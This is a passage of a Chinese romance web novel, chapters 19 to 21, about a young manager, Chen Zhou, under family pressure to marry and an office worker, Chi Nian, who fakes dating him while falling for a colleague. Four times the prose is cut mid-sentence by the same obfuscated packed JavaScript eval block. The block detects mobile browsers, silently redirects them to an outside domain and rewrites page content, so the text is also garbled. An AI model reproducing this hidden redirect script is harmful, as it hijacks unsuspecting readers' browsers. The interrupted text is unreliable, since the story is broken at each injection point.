“爸。”陈昼在身后喊了他一声,待男人回头,淡淡地说:“我妈和祖母暂时不回来,我先走了。” 陈开山眉毛竖起,维持几天的温和瞬间被严厉取代。 “你走去哪?” “林江。” 陈开山眼神冰冷,像一把尖刀直插过去,“难不成林江那帮人都是废物吗,没有你干不成事?已经清理差不多了,马上回来。” 陈昼迎上他的目光,反问:“回来干什么,结婚?” “你知道就好。”陈开山冷哼一声,“既然你自己不上心,我就替你办,思妍各方面条件都合适,也能看出对你有意思,赶紧把事办了。” 末了,补了一句:“别说不喜欢,这不重要。” 陈昼上半身倚着楼梯,揉了揉额角,忽然笑了,“我的感受当然不重要,在您眼里,孟思妍已经是陈家儿媳了。” 陈开山却摇头,露出长辈忧心的神色,“谁是陈家儿媳无所谓,我是想你回到正轨,干这个年纪该干的事。” 二十八岁的年纪,该干的事就那么两件。 陈昼知道,自认没有脱轨。 留学在计划内,回来后去分公司也一样,在外松散了两年,需要回到熟悉的地方重新适应工作节奏。 至于感情,他暂时不考虑。 “我会自己看着办的。”说完,看了看腕表,“我让助理改签了机票,今晚就走,替我向孟叔道个歉。” 陈开山眉头微皱,对儿子如今的态度感到心痛。 他不明白,自己从小按照继承人培养的孩子,怎么会在二十几岁的时候突然大变样,工作的事怎么都好说,一提感情就变脸。 也是这两年提了太多次,硬生生把父子关系搞到这么僵。 他不是没想过别的可能,在陈昼留学时,派人过去盯,看他身边是否有过于亲密的男人,结果只看到石家那小子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665974|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然没那种可能…他开导自己。 虽然那孩子从小就黏陈昼,虽然长相阴柔不像男子汉,虽然自作主张给自己起了花尧这种雌雄难辨的名字,虽然也是二十八岁没有女朋友… 陈开山在生意上无往不利,结果因为纠结这件事搞到长白头发。他石家倒是不愁,生了一窝的男孩,压根不在乎这种事。 可陈家不行啊! 三代单传,就生了这一个! 想到这么大的家业没人继承,才赶鸭子上架似的紧逼他,可眼下…他叹了一口气,一瞬间仿佛老了十岁。 “你祖母成天念着你,说你也到了结婚生子的年纪了,难道你希望我和她说,你这辈子都结不了婚吗?” 陈昼没觉得这有什么不好,若是直说,父子又会吵,“倒也不用说这么绝,过几年我想通了应该还是可以的。” 陈开山知道,踹开柜门是一件极度痛苦的事,所以才故意把家里的女人支走,心平气和地说这件事。 “听说,石家那小子也去了林江?” 不该在这种场合出现的名字,把陈昼从烦闷的情绪里拉出来,每次谈论婚嫁,都是他想方设法转移话题,今天怎么… 他顿了顿,“是,他在做摄影。” “好,很好。”陈开山拍了拍他的肩膀,浑浊的眼睛里闪着貌似泪花的东西,“你们已经住一起了吧?” 陈昼看到常年冷硬的父亲竟然流露脆弱的样子,有些摸不透他的想法,“没有,他在师哥那里住。” “师哥?”陈开山恍恍惚惚,“你们多久没见面了?” “半个多月了吧,怎么了?” 陈开山心里的石头落了地,面色也轻松很多,他不再威严紧逼,而是变成慈父模样,如释重负地说:“好,分了好。” 陈昼看父亲一脸解脱,仔细复盘了一下刚才的对话,电光火石之间,想到某种可能,难道…他蹙眉,“爸,您是误会了什么吧?” 陈开山微愣,刚才还闪着泪花的眼睛变成鹰隼般给人压力,语速很慢地说:“没误会,我知道,你喜欢女人。” 在这种情况下,陈昼不能否认。 毕竟否认这个,等于承认那个。 他点头,“是,只是不喜欢孟思妍。” 陈开山直视他,“如果你是为了躲她才去林江分部,那我可以解决,等会儿和老孟说一声就行了,你不用在意。” 陈昼欣喜父亲态度的转变,绷紧的弦松了,非常自然地附和:“不是因为她。” 陈开山眼神试探,心里突兀地冒出另一个猜想,这小子非要去林江,难道和他年轻时一样,在那边有喜欢的姑娘了? 他压着狐疑,第一次这么干脆地放他离开。 “好了,那早点回去吧。” 19. 第十九章 培训课宣布结束的时候,迟念已经饿到眼冒金星,许维安却精神百倍,冲出一个拳头喊口号:“OK,饿狼出击!” 迟念怨念地看着他,“你真的有二十五岁吗?” 许维安把工牌一翻,骄傲地说:“如假包换二十五,怎么了妹妹?” 她有气无力,“…随便问问。” 升职培训正式结束,明天开启为期两天的体能训练,为此,许维安又开始唠叨:“一看你体格就不好,体能训练肯定不行,但不用担心,有我在呢。” 他拍了拍自己不算强壮的胸脯,“今晚,我们去夜市暴风吸入,明天直接给他们来一个大出彩。” 迟念托着下巴看他,世界上怎么会有这么有意思的人啊。 他整个人笼罩在傍晚的金光里,开朗健谈,像个小太阳一样,带给人欢乐的同时,还非常贴心。 他不知从哪拿出一盒纯牛奶,塞进她怀里,“我看你要不行了,先垫垫肚子,别没等到夜市呢就昏倒在路上了。” 迟念不好意思地接过牛奶,指尖仔细感受上面残留的余温,小声说:“你这是从哪拿的啊。” 许维安冲她wink一下,笑着说:“这是秘密。” 我天!疯球! 迟念觉得自己全方位沦陷了。 她跟在他身后下楼,经过宿舍时,他打了个响指,抱歉地说:“稍微等我一下哈,我上楼拿包,两分钟就好。” 迟念目送少年般的背影跑进门里,快速从包里拿出手机,给何伶发消息。 【小迟】:完了完了完了,伶子,我完了! 许维安说是两分钟,实际一分钟左右就下来了,他大口喘着气,拿包的同时,竟然还换了一套衣服。 白T配牛仔裤,脚下平板运动鞋,如假包换大学生。 迟念默默和他比了一下个,一米八是有了,身高样貌性格什么的,都很不错。她压不住嘴角,想象他在楼上火急火燎换衣服的样子。 这么急不可耐,很明显…他喜欢她。 心里小鹿乱撞,炸开一朵朵粉色的花,迟念缓缓吐出一口气,把牛奶放进包的角落里。 许维安看到了,有些奇怪,“你不饿啊?” “还好。”迟念笑着看他,把被风吹乱的碎发掖到耳后,柔声说:“你是知道的啊,我饭量很小。” “…知道是知道。”许唯安感觉浑身的汗毛都不老实了,使劲搓了搓手臂,“你说话怎么还突然夹起来了。” “你才夹呢。”她清了清嗓子,“可能是没力气的缘故吧。” “给你牛奶不喝?” “我乳糖不耐。” 许维安“啊”了一声,万分抱歉地说:“那天给你买的奶茶里也有牛奶,你晚上喝完拉肚子了吧?” 迟念猛摇头,“没有没有!” 许维安松了口气,“那就好。” 两人走到路边,他拿出手机,用打车软件叫车。 暖风吹拂,发丝飘动,空气里有一股淡淡的海腥味。迟念站在旁边,纠结了几秒后,紧张地问:“培训结束之后,你想不想去看海?” 许维安紧盯着屏幕中间扩散的雷达,过了几秒才回复:“大海…可以啊,你想看?” “嗯,我还没看过海呢。” “蛤?不是吧,从这里开车到海边只需要半个多小时啊。” 迟念一脸失落,“就是说啊,可惜没有时间。” 许维安没有看到她的表情,全副身心都在手机上,虽然这边有些偏,但也不至于叫不到一口价啊。 他退出重进。 迟念也注意到了,小碎步挪过去,“没有车吗?” 许维安把屏幕转给她看,“没有,要不我们走六百米左右去坐地铁吧。” 迟念很想答应,但身体不允许。 全靠过量分泌的多巴胺才能站在这,站都勉强,走是万万不可能的,她灵光一闪,“要不我开车去?” “哪来的车…”许维安忽然想到,“是那辆放你行李箱的宾利吗?” 说完,眼神一暗,“那是小陈总的车,没钥匙怎么开。” 迟念从包的夹层里掏出钥匙,得意地冲他晃了晃,“想不到吧,钥匙在我这!” 许维安做贼了似的看了看四周,不是很赞同她的提议,“小陈总不在,没经过他的同意就私自把车开走,不太好吧。” 迟念管不了那么多了,现在整个人又饿又上头,拉起许维安就走,“我会和他报备的,你就放心吧。” 车子停在最外面的车位,车里的两人对要去的地方期待满满,许维安系好安全带,点开手机备忘录里的攻略。 “导航正东老街,听说那边的燃面很有名,还有老字号的酱肘和冒菜,糖水也是特色… 迟念越听越熟悉,也拿出手机,点开自己前几天做的攻略,按捺不住激动,“天,好巧,我和你做的一样。” 许维安歪头对比,嘴角咧到耳根,“影视主题公园我也准备去,要不等后天培训结束一起去吧。” 迟念心跳加速,胡乱地点了点头,“行啊,如果时间充足的话,逛完公园之后去看海,晚上我请你吃饭。” 许唯安满口答应,却看到迟念手机闪现的通知栏,咦了一声,“迟念,你的机票好像改签了哎。” 迟念还没来得及看,珍珠姐的电话就打进来了。 她声音有些急,“小迟,听说你在总部,现在马上收拾东西开车去名都水榭接小陈总,飞机改成晚上十一点了。” “啊?”迟念懵了,“这么突然!” 对面安静片刻,“我还想问你呢。” 叶珍珠半个小时前接到小陈总的电话,他声音听不出情绪,只吩咐她把飞机改签,今晚就回林江。 忙到一半,猛地想到迟念这茬。 难道因为见家长不顺利,提前结束出差? 想到这种可能,叶珍珠心惊胆战,这次出差是抱着让他们感情好好修复的目的,没想到会坏事,她怕被波及,主动打来电话。 “你没和小陈总回家吗,怎么会在总部,到底发生什么事了,小陈总找你怎么会把电话打到我这来?” 迟念怕许维安听到,心虚地压住电话,“没事,我是赶上总部培训,觉得这是个难得的机会,所以留在这学习。” 叶珍珠一个字都不信。 离这么远不好细说,只能等回来再问了。 挂了电话,迟念笑不出来,再次在期待拉满之后收到噩耗,精神接受不了这种打击,整个人透着一股淡淡的死意。 许维安大致猜出发生什么事,迅速做出反应,“今晚就走是吧,你马上检查一下证件,我上去帮你拿行李箱。” 迟念张了张嘴,还没说话,车门就砰的一声关上了。 几天前还讨厌的这座城,在即将离开的时候,竟生出一种依依不舍的留恋。 两分钟后,后备箱打开,许维安把行李箱塞进去,刚才还在讨论去哪玩,现在只能站在车窗外和她挥手道别。 “注意安全,一路顺风。” 迟念心里难受,车子已经启动,却迟迟不肯走。 “许维安!”她万分不舍,“我们以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665975|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还会见面吗?” “当然会啊。”许维笑着欠身,像在哄小孩,“南阳离林江很近的,动车一个多小时就到了,等我休息去找你玩。” 迟念心里闷闷得难受,忍着汹涌的泪意叮嘱:“说好了啊,一定要去,我请你吃饭,吃好多顿饭。” 许维安无奈,拍了拍车门催赶,“快走吧,别赶不上飞机。” 赶不上就赶不上吧,迟念把车开出大门,男人的身影在倒视镜里越来越小,分别的感觉像刀割,陈经理是拿刀的刽子手。 陈昼啊…你可真是个讨厌鬼。 * 熟悉的宾利从街角驶来,缓缓停在陈昼面前。 他透过车窗,看到开车的女孩面无血色,在总部培训三天像被抽走了魂儿似的,再也看不到初来时的兴奋。 他敛去情绪,坐进副驾驶。 距离飞机起飞还有四个多小时,时间充足,他放平椅背,“我睡一下,到机场之前叫醒我。” 迟念“嗯”了一声,心里的小人在诅咒:直接睡死过去算了… 晚上七点,太阳落入海平面,天边金光灿灿,迟念故意选了一条能看到大海的路线,慢慢悠悠开过去。 副驾驶的男人睡得很熟。 沿途的风景治愈了她的情绪,却满足不了胃,空腹一整天,现在还要全神贯注开车,她一阵阵地恍惚。 珍藏的牛奶也被拿出来喝掉了,结果只顶了半个小时,还没开出主城区,胃又开始咕噜咕噜叫。 她单手握方向盘,另一只手握拳,用力抵着胃。 心里想着候机室里的美食,恨不得瞬移过去,前方车尾却缓缓放慢,她踩着刹车,把头探出车窗。 视线所及之处,车子排成长龙。 不是吧…怎么还堵车了? 倒车已经来不及,前面的车流也望不到头,暴躁的鸣笛声从四面八方传过来,震得迟念脑壳生疼。 毫无意外,陈昼也被吵醒了。 他直起身,看到前方的壮观车队,眼神是没有攻击力的迷茫。 “堵车了?”他带着鼻音。 迟念点头,“嗯,不知道什么原因。” 在熟睡时被吵醒很难受,陈昼捏了捏鼻梁,看向窗外,眉头慢慢皱起,因为这边…不是通往机场的路。 “怎么走的这条?” 迟念握紧方向盘,满含歉意地解释:“不小心走错了。” 陈昼目光落在导航上,上面路线正常,没有偏离提示,忍不住疑惑,为什么要趁他睡着故意绕远。 迟念见瞒不过,只能老实坦白,“这条路能看到大海,我看时间还早,就自作主张了。对不起陈经理,油钱我出。” 陈昼:“……” 她是怎么做到每次行事都在他预料之外的。 车子堵在这里动不了这件事眼下无法改变,距离起飞还有三个多小时,只能祈祷前方尽快畅通。 他调整椅背,拿出包里的电脑,垫在腿上打开,处理几个工作遗留下来的尾巴。 旁边坐着一尊大佛,迟念动也不敢动,绷紧神经尤其消耗能量,撑了几分钟,她又觉得胃难受。 她大脑放空地看着前方车尾。 白色SUV,应该是全家出行,一个扎着小辫子的女孩趴在后车窗上,手里拿着两根鳕鱼肠在吃。 迟念恍恍惚惚,想到行李箱里何伶塞进去的猪蹄。 啊!救命的梦中情蹄! 前方车流缓缓挪动,再不说就没有机会了,她转过头,鼓起勇气,“陈经理,我要饿晕了,可以吃半个猪蹄吗?” 20. 第二十章 出差一趟,迟念简直被扒掉一层皮。 凌晨三点,她拖着行李箱打开公寓的门。室内温暖明亮,何伶穿着睡衣,这个时间门被打开,面膜差点吓飞。 看到是迟念后,不敢相信,“你微信发的完了完了是后半夜回来的意思?” 迟念松开行李箱,像一摊烂泥似的瘫在何伶身上,哀嚎道:“别提了,好累,好冷,我的命好苦。” 何伶也拍完大夜刚到家,精神不是很好,纵有旺盛的倾诉欲,也抵不过困意的席卷,一觉睡到第二天中午才睁眼。 万幸,是周末。 被窝里暖烘烘的,舒服得像在天上。迟念搂着羊驼抱枕,赖在床上不起来,等了十几分钟,何伶也醒了。 她打了个呵欠,“说说吧,出去这几天,和你那位上司‘男友’有没有碰撞出不一样的火花?” 迟念完全忽略这句话,嘿嘿一笑,“伶子,我认识一个南阳分公司的主管,比我大一岁,特开朗特阳光,幸好有他在,不然我都不知道怎么熬这几天。” 何伶支起上半身,“什么意思,你又爱上一个?” 迟念摇头否认,但泛红的脸颊泄露了真实想法。 何伶忍不住,毫不留情面地吐槽:“我说念念,才认识几天啊你就爱上了,之前那个小陈总呢,不演啦?” 迟念一听小陈总这三个字,想到一大堆不美好的记忆,五官立刻皱成一团,“这么好的气氛,提他干吗。” “你不是喜欢吗,光看照片就爱上了,还花了二百块钱呢,这么快就移情别恋了?” “哪是我移情别恋,压根就没恋好吗。”迟念想到出差这几天的遭遇,颓丧地说:“人不能光看外表,虽然许维安不帅,但是人好啊,和他在一起舒服又自在。” 何伶歪头看她,“许维安是谁?” “就是我刚才说新认识的那个。” “…你的意思是,许维安这个人真实存在并和你密切接触,而且对你也有那个意思?” 迟念自信点头。 何伶惊讶,无语,鼓掌,“我天,念念,你终于不是单相思了,准备和那个许什么谈一场旷世持久的异地恋是吧?” 怎么一股阴阳怪气的味道… “也不算异地吧,动车不到两个小时的距离。”迟念想到临走前的约定,信誓旦旦地说:“他休息时会来找我的。” 何伶怎么觉得这么不靠谱呢,谨慎地问:“他表白了?” “没有啊,才认识三天哎。” “那你和小陈总呢,现在同事认为你们是一对,那个许什么安也是这个公司的,你想脚踏两条船?” 她皱眉,“这可不好演,我帮不了你。” 迟念扑哧笑了,“就算你能帮我也不行啊,一条船我都演不了呢,之前尝试那几次,把我这辈子的脸都丢光了。” 何伶一想也是,迟念就像一张透明的纸,心里想什么,直接在脸上表现出来。 玩这种高段位的,容易把自己搭进去。 她揉着太阳穴,问:“那你打算怎么办?” * 工作日,迟念早早到公司打卡。 办公室空荡荡,她把包放下,直奔经理办公室。果然,珍珠姐来得最早。 确定陈昼不在,她放心地过去,“珍珠姐早上好呀!” 叶珍珠看到她,仔细打量了一下,还是以前那副单纯的样子,看不出有什么心事。 “来这么早呢?” “昨天休息,睡得好,今天就早点过来。”迟念从身后拿出一杯豆浆,笑眯眯递过去,“无糖的,不胖人。” 叶珍珠不和她不客气,大方接过去,吸管一插,一口喝掉三分之一。 趁同事们还没来,她开门见山:“到底发生什么事了?你没去小陈总家?他怎么把你一个人扔在总部了,还突然大半夜的提前往回赶。” 问题像连环炮,好在迟念早有准备。 她垂眼,勉强地扯了扯嘴角,苦笑着说:“是我太天真,那样的家庭我怎么可能高攀得上,快刀斩乱麻,这样也好。” 叶珍珠眼神闪了闪,其实她早就想过这种结果,甚至觉得,这样的结局才是对的。 要是真修成正果,那也太偶像剧了,不现实。 不过,面上不能表现出来,她故作震惊,“什么?陈董亲口对你说的?” “嗯。”迟念点了点头,听到门口有脚步声进来,急忙叮嘱:“珍珠姐,真实原因我只和你说了,别人还不知道…” 叶珍珠怜爱地摸了摸她的头,“放心,我会替你保密。” 在公司里,“我会替你保密”这几个字的另一个意思是人尽皆知,迟念选择告诉珍珠姐,单纯因为她和别人说时不会添油加醋。 如果第一个告诉娇娇或者欢姐,呵呵…到最后会演变出几十个狗血版本,搞不好会被陈经理听到,然后一气之下开除她。 本来就是阴差阳错,无法预见后续的发展,她承担不了后果,只能找个理由尽快结束。 部门同事来了大半,几天不见,韩主管又胖了一圈。不止他,出差这几天,大家貌似都过得不错。 迟念觉得自己是个防火墙,括弧:陈昼专用。 林江和广安的气温相差十几度,从初夏的温暖回到春寒里,陈昼出门之前,换了一件厚实外套。 电梯直达地下,他坐进黑色奔驰车里。 一周多没开,密闭的车厢里有一股淡淡的皮革味。他启动车子,看着后视镜时,突然想到离开广安那天。 车子堵在半路,女孩因为自己的错误决定万分愧疚,却在应该反思的情况下,再次向他提出无理要求。 因为意外,他面部的微表情被她误会为答应,只见车门打开,她火急火燎地下车开备箱,从里面拿出密封的袋子。 她撕开时手有些抖,可能是紧张,也可能没有力气。 成功之后,香气蔓延,她献宝一样,双手递过来,“陈经理,你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694489|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要吃?” “不用。”他皱眉往旁边躲了躲。 “真的不吃吗,千万不要客气,我这还有呢!”她还怕他不好意思,赶紧拿出袋子里另一包向他展示。 …… 车子驶出地下停车场,车窗半开,湿冷的空气截断他的回忆。等红灯的间隙,他线上定好早餐,十分钟后,走进M记里。 娇娇刚好坐在门边的座位化妆,镜子反光,捕捉到熟悉的脸,吓得一抖,眼线失控地直奔太阳穴。 她赶紧低头,努力降低自己的存在感。 陈昼拿着早餐,经过她时,淡淡地说:“你这个月全勤没了。” 靠! 怎么能如此倒霉! 娇娇憋屈死了,自从不用迟念帮带早餐以后,时间就变得不够用,每天化妆都得在车里或者等餐的间隙完成,生活质量跳崖式下降。 部门里有人帮忙打卡,结果在这里被逮到,小陈总不是出差去了吗,干吗这么快就回来啊…真是! 她咬了一大口芝士鸡肉帕尼尼,面包青菜塞了满嘴,抬头却发现对面坐了一个男人,还是她爱的健壮款。 拿起湿巾擦掉失败的眼线,顺便带一下唇边,优雅做完后,勾起弧度完美的笑容,“帅哥,那边空位有的是。” 男人戴着墨镜,穿着墨色夹克,幻视一些军人或是特种兵,如果真是的话,娇娇希望他已经退伍了。 他抬头,墨镜下的眉毛挑了一下,“刚才听说你这个月全勤没了,怎么还有心思在这细嚼慢咽。” 娇娇不在意地耸了耸肩,“反正已经没了,我干吗着急。” 男人唇角上扬,外表虽然冷漠硬汉,实际竟是个自来熟,“刚才走的那个,是你上司?” “唔。”娇娇抿了一口豆浆,想到刚才的事就生气,“对啊,别看他长得人模人样的,心可黑了。” “呵,工作狂,交不到女朋友的。” 娇娇扑哧一笑,“这你可猜错了,人家是富二代,还有一个交往稳定的女朋友,和我在一个部门。” 男人忽然沉默,因为墨镜阻隔,猜不出他的表情。娇娇以为他在震惊,下巴微微扬起,有些得意。 “怎么?不信啊。” 男人倒也坦诚,“确实不信。” 娇娇大早上的被堵,得知全勤没有了之后,更加破罐子破摔,明知不应该和陌生人说这些,因为抗拒上班,硬在这里拖时间。 她拿出手机,点进相册,翻到上个月的聚餐照,指给他看,“这个女孩,就是刚才那人的女朋友。” 说完,挺了挺肩膀,“是我跟班~” 男人眼睛像黏在屏幕上,直到黑屏才移开,他突然站起身,淡淡地说:“抱歉,我去一下洗手间。” 空荡荡的隔间里,男人摘下墨镜,露出一双狭长的眼。 他拿出手机,拨通号码,如实叙述刚才的对话。 ——您猜得没错,是和小陈总在一个部门。对,感情稳定。 21. 第二十一章 分手的消息在部门里悄悄扩散。 第二天,迟念打卡上班,一进去就觉得几道打量的视线,配合着刻意压低的窃窃私语,这场景有些熟悉。 忽略不自在,走到工位。 娇娇拉着椅子过来,灼灼地盯着她。 “听说,分啦?” 迟念故作松弛地吐了一口气,“嗯,分了。” “这么突然?!” 虽然表现出惊讶,实际娇娇觉得他们分手是早晚的事,听到这个消息后,她马上想到之前的怀疑。 其实,早在小陈总刚调过来的时候她就觉得不对劲了。 作为恋爱达人,她没有感觉到两人之间的暗流涌动,就算在公司里,需要避嫌,也不该那么冷淡。 只能说,比陌生人熟悉一点。 仔细推理后,娇娇得出结论。 两人的感情应该到了瓶颈,迟念朋友圈发亲密照是背水一战,逼小陈总能承认他们之间的关系。 结果踢到铁板,感情降到冰点。怪不得在公司里相处那么尴尬,音乐会也没去,大家的猜测是对的,他们确实出了问题。 现在彻底分手了,迟念失去领导女友的光环,变成普通员工,以后用不着费劲对她溜须拍马了。 娇娇像卸掉一块压在肩膀的巨石,身心极度舒畅。 迟念早上起晚了,来不及吃早饭,路上买了豆浆和咸饼,从包里拿出来,还是热的。 她插上吸管,喝了一口,糖没摇匀,齁甜。 娇娇跷着腿,拿眼角上下扫,仅维持几日的温柔不知什么时候消失了,又变成以前的骄纵跋扈。 迟念暗道不妙。 “你上班还是走之前那条路吧,明天早上帮我带一份牛肉饼,配一杯瘦肉粥,再加两颗茶叶蛋。” 娇娇说完,补了一句:“钱微信转你。” 这命令的态度,还有不容置喙的语气,让迟念想到官宣恋情之前的日子。果然,没人撑腰是不行,秒变跑腿。 五分钟后,微信收到消息,她点开,是娇娇的转账。 牛肉饼早就涨价了,她还假装不知道,只发了10块钱。迟念没收,隔着两个工位喊话:“我不走那条路。” 娇娇探身看她,没耐心地皱着眉,“那就豆浆和包子,还要以前那几样。” 迟念:“……” 她不擅长与人争论,习惯自己消化情绪,尤其面对这种状况,说出“我不走那条路”已经用光所有力气。 深呼吸,吐气,她应下,“好。” 收下转账,脑海里蹦出几个字:真是个窝囊废。 部门里的气氛很怪,开完组会,迟念如坐针毡,她拿着手机去楼道。 发给何伶的消息石沉大海,她前天进了新组,依然在舒适区里打滚,这个时间应该在高强度拍摄。 楼道漆黑,一点声音都没有。 她往下走了两层,蹲在台阶上,震亮声控灯后,手指在屏幕上空转圈,犹豫地点开新加的联系人。 是许维安。 培训第二天就加了好友,至今没有说过话,迟念算了算时间,他应该在南阳。 回南阳的话…怎么不找她呢? 难道,要自己主动? 也不是不行… 迟念紧张地打字。 【小迟】:嗨,许维安,你在干什么? 消息发送,心跳加速。 尤其看到上方显示对方正在输入…… 【许Vivian】:本牛马干劲十足地投入到高强度的工作中。 迟念被逗笑。 【小迟】:你什么时候休息啊? 【许Vivian】:暂时不能。 【小迟】:…难道周末不休?在广安你还说休息的时候来找我玩呢,钱包已经备好,就等请你吃饭了。 【许Vivian】:我周末加班,忙完这个月应该能连休几天。 看他这么说,迟念原本低落的情绪忽然变成期待。 【小迟】:来我这? 【许Vivian】:那必须的啊,把你吃破产[恶狠狠]。 【小迟】:一言为定! 【许Vivian】:OK,我去忙,晚上再聊。 聊天结束,迟念舍不得关手机,看着对面发过来的那句“晚上再聊”,恨不得有个时光机器,马上穿越到晚上。 手机振动,何伶的消息无缝插入。 【可伶可俐】:什么!你宣布分手了? 迟念直接拨号过去。 “对啊,演戏这种事我实在做不来。” 何伶拍完自己的镜头,站在旁边候场,听到迟念这么说,拿着手机走到远处区域,开启连环炮模式。 “那个小陈总是老总亲儿子,不可能在这待很久,你就算做不来也努力坚持一下啊。你这边说分手,同事肯定变脸,你还想过以前那种日子啊,还想猥琐主管大半夜发信息骚扰你啊,还想每天帮别人带早餐累死累活倒贴钱啊…” 好友的嘴从不掩饰,每次说的话都精准扎心。 不过说得没错,迟念已经见识到变脸绝技,从众人夸赞的部门骨干变成早餐跑腿。 她有气无力,“那也没办法啊…” “我看你就是为了南阳那个才这么做的。” 迟念语塞,仔细一想,事实确实如此。 “也是没办法啊,你没见过陈经理,不知道什么叫伴君如伴虎,他这个人很难相处,阴晴不定的,性格超怪…” 楼道门吱嘎一声打开,一股淡淡的烟味飘过来。迟念回头,看到突然出现的陈昼,吐槽戛然而止。 电话中断。 何伶看了眼屏幕,什么啊,莫名其妙,干吗说到一半就挂了。 她想回拨过去,却被分贝极高的男声打断。 “姐!!” 何伶现在一听到这个字就烦,没心情打电话了,冷脸回头瞪追过来的男人,“干吗,现在是休息时间,别烦我。” 她明摆着在生气,花尧却像看不到。 他双手插兜,一副薄身板被风吹得晃晃悠悠。 “好冷,中午去吃火锅怎么样?” “不吃,我在节食。” “清汤锅涮青菜,吃完倒欠200大卡。” 何伶翻了个白眼,“听你在放屁。” 她理了一下头发,准备回片场,手腕却被拉住,回头一看,花尧笑得灿烂,“姐~你说去,我就放手。” 挣脱失败,何伶暗骂自己那天脑子抽风,怎么就答应了这变态演他姐姐。 “放手,再这样我要打你了!” 花尧攥紧她的手腕,主动把颔线清晰的侧脸凑过来,“打吧,用力。” “神经!” 这边虽然是僻静处,但几十米外一堆人,何伶不想和他在这拉拉扯扯,正是事业上升期,不想留下黑历史。 她暗暗咬牙,反手抓住他的衣摆,把人拉到死角。 啪的一巴掌,正中胸口。 “松手!”她真的生气了。 花尧挨了打,疼痛扩散,却莫名觉得很爽。他意犹未尽,攥她的手更加用力,主动申请:“再打一下。” 何伶:“……” 人在愤怒的时候,不止会笑,还会做出不理智的行为。 她单手解开戏服,因为天气冷,里面穿着自己的衣服。薄绒打底配紧身牛仔裤,她用力扯掉腰带,恐吓道:“那我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730608|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用这个打了。” 花尧愣了一下,视线落在大红色细腰带上,他想到这根皮革日复一日地缠在她的腰上,和皮肤仅隔着一层布料… 喉头涌动,他舔了舔嘴唇。 “行啊~用力点。” * 迟念觉得,自己这次真的死无葬身之地了。 摸鱼怕被同事撞见,故意往下走了两层,没想到,被陈经理撞见不说,还偏偏在讲他坏话的时候。 陈昼指间夹着一根刚燃的烟,看到迟念,有些意外。 他倚在门边,吐出白雾,慢条斯理地说:“活动方案需要修改,韩主管通知你了吧。” “通知了。” “上班时间不工作,躲在这里干什么?” 迟念受不了这种精神拷打,如果生在古代,一定是听到鞭子响就跪地求饶的懦夫,心虚,惊惶,声音抖出波浪。 “陈经理,对不起,我不该乱说话,绝对是无心的,并没有真的觉得您性格奇怪的意思。” 胡言乱语说完,掌心合并做求佛状。 “我会写一千字的检讨,绝对不会有下次了,发誓!” 空气里弥漫着淡淡的烟味,陈昼很认真地听她说话,并没有吸几次。 青烟缭绕,即将燃尽,他反手掐灭,扔进垃圾桶。 刚才进来的时候心里在想别的事,没听到她在叽里咕噜说什么。眼下,她主动坦白,意思是,在楼道里骂他? 性格奇怪? 他眼含深意地看着她,“一千字?” 男人声音带着寒意,迟念倒吸一口凉气,“一千五,啊…不,两千字!”她像即将上战场的士兵,坚定地冲他比了两根手指。 他表情淡淡,“好,下午两点之前把检讨送到我办公室。” 说完,转身离开,余光却捕捉到女孩瞬间垮掉的脸。 他弯起唇角。 一句随意的吐槽,导致迟念连午饭都没吃上,窝在工位,苦大仇深地写检讨。 午休结束,她检查几遍,确定字里行间全是卑微认错后,才拖着疲惫的身体,敲响总经理办公室的门。 “进。” 叶珍珠投来好奇的眼神,迟念故作轻松地冲她笑了一下,晃了晃手里拿着的A4纸,表示这次只是单纯的公事。 推开门,室内肃静。 办公桌靠窗,陈昼坐在椅子上,面容被电脑挡住,只能看到一点发顶。 她走过去,小声说:“陈经理,检讨写好了。”说明来意后,恭敬地把纸放在桌子上。 陈昼转头,目光在纸上转了一圈后,定在她的脸上。 他觉得,和迟念单独相处的时候,自己会产生某种恶趣味,喜欢看她明明很紧张,却硬装不怕,像…一只鹌鹑。 他视线不离,轻声说:“念念。” 